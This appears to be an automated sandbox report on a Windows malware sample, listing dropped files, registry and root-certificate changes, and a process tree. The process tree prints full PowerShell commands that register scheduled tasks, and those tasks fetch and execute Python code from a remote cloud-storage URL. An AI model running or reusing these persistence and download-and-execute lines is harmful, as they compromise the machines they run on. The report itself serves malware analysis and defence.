30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446

Analysis

max time kernel
67s
max time network
136s
platform
windows7_x64
resource
win7v20210410
submitted
12/07/2021, 07:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe
Size 4.7MB
Sample210712-c1pcdcemms
SHA256 30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446
MD5 88fb1b59cd83c4e5b86ab2793ce15952
SHA1 f9073c157aac31d5c48e650133fc36ac1064ff88
SHA512 2d64868e9a236601dfe1901bdde7c3a70b99ba249c40526975d72dddd7c782c3012ea6231b73836fa10ee4e24ce1e7c8ed4c2b319983b8232389a1e916cdf7ee
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
1728	ServiceHub.Host.CLR.exe
1472	flash.exe
1904	ServiceHub.Host.CLR.exe

Loads dropped DLL 64 IoCs

pid	Process
596	taskeng.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1728	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe
1904	ServiceHub.Host.CLR.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1
HTTP User-Agent header	6	Go-http-client/1.1

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	flash.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	flash.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	flash.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1504	ping.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
704	powershell.exe
704	powershell.exe
1568	powershell.exe
1568	powershell.exe
1144	powershell.exe
1144	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	704	powershell.exe
Token: 35	1728	ServiceHub.Host.CLR.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: 35	1904	ServiceHub.Host.CLR.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1472	flash.exe
1472	flash.exe
1472	flash.exe
1472	flash.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 1504	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	26
PID 1656 wrote to memory of 1504	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	26
PID 1656 wrote to memory of 1504	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	26
PID 1656 wrote to memory of 1504	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	26
PID 1656 wrote to memory of 760	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	31
PID 1656 wrote to memory of 760	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	31
PID 1656 wrote to memory of 760	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	31
PID 1656 wrote to memory of 760	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	31
PID 760 wrote to memory of 704	760	cmd.exe	33
PID 760 wrote to memory of 704	760	cmd.exe	33
PID 760 wrote to memory of 704	760	cmd.exe	33
PID 760 wrote to memory of 704	760	cmd.exe	33
PID 760 wrote to memory of 644	760	cmd.exe	34
PID 760 wrote to memory of 644	760	cmd.exe	34
PID 760 wrote to memory of 644	760	cmd.exe	34
PID 760 wrote to memory of 644	760	cmd.exe	34
PID 1656 wrote to memory of 1208	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	36
PID 1656 wrote to memory of 1208	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	36
PID 1656 wrote to memory of 1208	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	36
PID 1656 wrote to memory of 1208	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	36
PID 1208 wrote to memory of 1568	1208	cmd.exe	38
PID 1208 wrote to memory of 1568	1208	cmd.exe	38
PID 1208 wrote to memory of 1568	1208	cmd.exe	38
PID 1208 wrote to memory of 1568	1208	cmd.exe	38
PID 596 wrote to memory of 1728	596	taskeng.exe	39
PID 596 wrote to memory of 1728	596	taskeng.exe	39
PID 596 wrote to memory of 1728	596	taskeng.exe	39
PID 1208 wrote to memory of 1752	1208	cmd.exe	40
PID 1208 wrote to memory of 1752	1208	cmd.exe	40
PID 1208 wrote to memory of 1752	1208	cmd.exe	40
PID 1208 wrote to memory of 1752	1208	cmd.exe	40
PID 596 wrote to memory of 1472	596	taskeng.exe	42
PID 596 wrote to memory of 1472	596	taskeng.exe	42
PID 596 wrote to memory of 1472	596	taskeng.exe	42
PID 596 wrote to memory of 1472	596	taskeng.exe	42
PID 1208 wrote to memory of 1120	1208	cmd.exe	41
PID 1208 wrote to memory of 1120	1208	cmd.exe	41
PID 1208 wrote to memory of 1120	1208	cmd.exe	41
PID 1208 wrote to memory of 1120	1208	cmd.exe	41
PID 1656 wrote to memory of 824	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	43
PID 1656 wrote to memory of 824	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	43
PID 1656 wrote to memory of 824	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	43
PID 1656 wrote to memory of 824	1656	30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe	43
PID 824 wrote to memory of 1144	824	cmd.exe	45
PID 824 wrote to memory of 1144	824	cmd.exe	45
PID 824 wrote to memory of 1144	824	cmd.exe	45
PID 824 wrote to memory of 1144	824	cmd.exe	45
PID 824 wrote to memory of 1844	824	cmd.exe	46
PID 824 wrote to memory of 1844	824	cmd.exe	46
PID 824 wrote to memory of 1844	824	cmd.exe	46
PID 824 wrote to memory of 1844	824	cmd.exe	46
PID 596 wrote to memory of 1904	596	taskeng.exe	47
PID 596 wrote to memory of 1904	596	taskeng.exe	47
PID 596 wrote to memory of 1904	596	taskeng.exe	47

C:\Users\Admin\AppData\Local\Temp\30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe
"C:\Users\Admin\AppData\Local\Temp\30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\SysWOW64\ping.exe
  ping baidu.com
  2⤵
  - Runs ping.exe
  PID:1504
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:704
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_SETTINGS
    3⤵
    PID:644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\flash.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\flash.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_TEST
    3⤵
    PID:1752
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /DELETE /F /TN SYSTEM_TEST
    3⤵
    PID:1120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1144
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_CDAEMON
    3⤵
    PID:1844

C:\Windows\system32\taskeng.exe
taskeng.exe {DFF2F14F-C589-436D-9C90-D96D3D7151F2} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:596
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Users\Public\flash.exe
  C:\Users\Public\flash.exe
  2⤵
  - Executes dropped EXE
  - Modifies Internet Explorer settings
  - Modifies system certificate store
  - Suspicious use of SetWindowsHookEx
  PID:1472
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/704-66-0x0000000004870000-0x0000000004871000-memory.dmp

Download

memory/704-65-0x0000000001020000-0x0000000001021000-memory.dmp

Download

memory/704-71-0x0000000005620000-0x0000000005621000-memory.dmp

Download

memory/704-68-0x0000000005260000-0x0000000005261000-memory.dmp

Download

memory/704-77-0x0000000006250000-0x0000000006251000-memory.dmp

Download

memory/704-67-0x0000000004872000-0x0000000004873000-memory.dmp

Download

memory/704-84-0x0000000005880000-0x0000000005881000-memory.dmp

Download

memory/704-85-0x00000000062E0000-0x00000000062E1000-memory.dmp

Download

memory/704-86-0x000000007EF30000-0x000000007EF31000-memory.dmp

Download

memory/704-76-0x0000000005690000-0x0000000005691000-memory.dmp

Download

memory/704-64-0x00000000048B0000-0x00000000048B1000-memory.dmp

Download

memory/704-62-0x00000000752F1000-0x00000000752F3000-memory.dmp

Download

memory/704-63-0x0000000000870000-0x0000000000871000-memory.dmp

Download

memory/1144-170-0x00000000023F0000-0x00000000023F1000-memory.dmp

Download

memory/1144-177-0x00000000060F0000-0x00000000060F1000-memory.dmp

Download

memory/1144-176-0x0000000004872000-0x0000000004873000-memory.dmp

Download

memory/1144-175-0x0000000004870000-0x0000000004871000-memory.dmp

Download

memory/1144-173-0x0000000005320000-0x0000000005321000-memory.dmp

Download

memory/1144-172-0x0000000002710000-0x0000000002711000-memory.dmp

Download

memory/1144-171-0x00000000048B0000-0x00000000048B1000-memory.dmp

Download

memory/1472-174-0x0000000000080000-0x0000000000083000-memory.dmp

Download

memory/1568-161-0x00000000049C2000-0x00000000049C3000-memory.dmp

Download

memory/1568-162-0x00000000060F0000-0x00000000060F1000-memory.dmp

Download

memory/1568-159-0x00000000049C0000-0x00000000049C1000-memory.dmp

Download

memory/1568-160-0x0000000005320000-0x0000000005321000-memory.dmp

Download

memory/1568-158-0x0000000004820000-0x0000000004821000-memory.dmp

Download

memory/1568-157-0x0000000004A00000-0x0000000004A01000-memory.dmp

Download

memory/1568-156-0x00000000022A0000-0x00000000022A1000-memory.dmp

Download